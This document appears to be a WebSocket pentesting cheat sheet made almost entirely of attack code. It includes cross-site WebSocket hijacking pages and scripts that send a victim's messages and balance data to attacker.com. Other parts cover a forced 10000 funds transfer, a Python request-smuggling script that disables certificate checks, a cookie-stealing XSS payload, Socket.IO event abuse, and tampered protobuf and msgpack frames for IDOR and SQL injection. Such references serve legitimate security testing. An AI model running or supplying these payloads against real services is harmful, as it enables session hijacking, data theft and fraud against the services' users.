Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: optional-subprotocol

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

Client: HTTP GET + Upgrade headers
Server: 101 + Sec-WebSocket-Accept
Channel: framed messages (text/binary), ping/pong, close

const ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = () => { ws.send('HELLO'); };
ws.onmessage = (event) => {
  fetch('https://attacker.example.net/?' + encodeURIComponent(event.data));
};

pip install wsrepl
wsrepl -u wss://target.example.com/ws -P auth_plugin.py

python ws-harness.py -u "ws://127.0.0.1:8765/path" -m ./message.txt

sqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batch

wss://api.example.com/stream?access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

# In Burp: intercept the WebSocket upgrade request
# Change Origin header to: https://attacker.com
# If 101 Switching Protocols returned → no Origin validation
# If 403/rejected → Origin is checked (test subdomain variants)

<html>
<body>
<script>
const ws = new WebSocket('wss://target.com/ws');

ws.onopen = function() {
    // Connection established as victim (cookies sent automatically)
    console.log('Connected as victim');
    // Send commands as victim
    ws.send(JSON.stringify({action: 'get_profile'}));
    ws.send(JSON.stringify({action: 'list_messages'}));
};

ws.onmessage = function(event) {
    // Exfiltrate all received messages
    fetch('https://attacker.com/collect', {
        method: 'POST',
        body: event.data
    });
};

ws.onerror = function(err) {
    fetch('https://attacker.com/error?e=' + encodeURIComponent(err));
};
</script>
</body>
</html>

Browser behavior for WebSocket:
- Cookies for the target domain ARE sent automatically in the upgrade request
- SameSite=None cookies always sent
- SameSite=Lax cookies: NOT sent (WebSocket is not top-level navigation)
- SameSite=Strict cookies: NOT sent

Key question: is the session cookie SameSite=None or legacy (no SameSite attribute)?
→ Legacy cookies default to Lax in modern Chrome but None in older browsers

// Attacker can both READ and WRITE on the WebSocket
// Read: financial data, private messages, admin commands
// Write: transfer funds, change settings, send messages as victim

ws.onopen = () => {
    // Write: perform actions as victim
    ws.send(JSON.stringify({
        action: 'transfer',
        to: 'attacker_account',
        amount: 10000
    }));
};

ws.onmessage = (e) => {
    const data = JSON.parse(e.data);
    if (data.type === 'balance') {
        // Read: exfiltrate sensitive data
        navigator.sendBeacon('https://attacker.com/data',
            JSON.stringify(data));
    }
};

1. Reverse proxy restricts access to /admin (returns 403)
2. Client sends legitimate WebSocket upgrade to /ws
3. Proxy allows the upgrade (101 response)
4. After upgrade, proxy stops inspecting the connection (raw TCP passthrough)
5. Client sends raw HTTP request through the "WebSocket" connection:
   GET /admin HTTP/1.1
   Host: backend-server
6. Backend processes the HTTP request → 200 OK with admin content

1. Connect to target via WebSocket
2. After upgrade, send HTTP/2 preface through the WebSocket tunnel
3. Backend HTTP/2 handler processes the smuggled requests
4. Bypass WAF/proxy rules that only inspect HTTP/1.1 traffic

import websocket
import ssl

ws = websocket.create_connection(
    'wss://target.com/ws',
    header=['Origin: https://target.com'],
    sslopt={"cert_reqs": ssl.CERT_NONE}
)

# After upgrade, send raw HTTP through the tunnel
smuggled_request = (
    b"GET /admin/users HTTP/1.1\r\n"
    b"Host: internal-backend\r\n"
    b"Connection: close\r\n\r\n"
)
ws.send(smuggled_request, opcode=0x2)  # binary frame
response = ws.recv()
print(response)

// Client connects to privileged namespace without auth check
const adminSocket = io('https://target.com/admin');
adminSocket.on('connect', () => {
    adminSocket.emit('list_users');
});

// Server may not verify that the client is authorized for /admin namespace

// Server-side vulnerable pattern:
socket.on(userInput, handler);

// Attacker sends event name that matches internal event:
socket.emit('__disconnect');     // force disconnect other clients
socket.emit('connection');        // re-trigger connection handler
socket.emit('error');             // trigger error handler

socket.emit('get_data', {id: 'admin'}, (response) => {
    // response may contain data the client shouldn't have access to
    fetch('https://attacker.com/exfil', {
        method: 'POST',
        body: JSON.stringify(response)
    });
});

POST /socket.io/?EIO=4&transport=polling&sid=SESSION_ID
Content-Type: application/octet-stream

4{"type":2,"data":["transfer",{"to":"attacker","amount":1000}]}

1. ARP spoofing or network position to intercept traffic
2. Identify WebSocket frames in TCP stream
3. Inject crafted frames between legitimate messages
4. Both client→server and server→client injection possible

// Vulnerable server-side handler:
socket.on('chat', (msg) => {
    // If msg contains JSON metacharacters:
    broadcast(`{"user":"${username}","msg":"${msg}"}`);
    // Injection: msg = '","admin":true,"msg":"hacked'
    // Result: {"user":"attacker","msg":"","admin":true,"msg":"hacked"}
});

1. Send WebSocket message: <img src=x onerror=alert(document.cookie)>
2. Server stores message and broadcasts to all connected clients
3. If client renders message as HTML → stored XSS
4. All connected users affected simultaneously

1. Capture binary WebSocket frame
2. Decode protobuf structure (use protoc --decode_raw or protobuf-inspector)
3. Modify field values (e.g., change user_id, amount, role)
4. Re-encode and send modified frame
5. Server deserializes without re-validating field constraints

# Decode captured binary frame
echo "CAPTURED_HEX" | xxd -r -p | protoc --decode_raw

# Output: field structure with types and values
# Modify, re-encode, send back through WebSocket

import msgpack
import websocket

ws = websocket.create_connection('wss://target.com/ws')

# Decode received binary message
raw = ws.recv()
data = msgpack.unpackb(raw, raw=False)
# data = {'action': 'get_balance', 'user_id': 123}

# Modify and re-send
data['user_id'] = 1  # IDOR: access admin's balance
ws.send(msgpack.packb(data), opcode=0x2)

# Original: user_id as integer (field type 0)
# Modified: user_id as string "1 OR 1=1" (field type 2)
# If server doesn't validate types after deserialization → SQL injection

# Original: is_admin as boolean false (0x00)
# Modified: is_admin as boolean true (0x01)
# Direct privilege escalation if server trusts deserialized values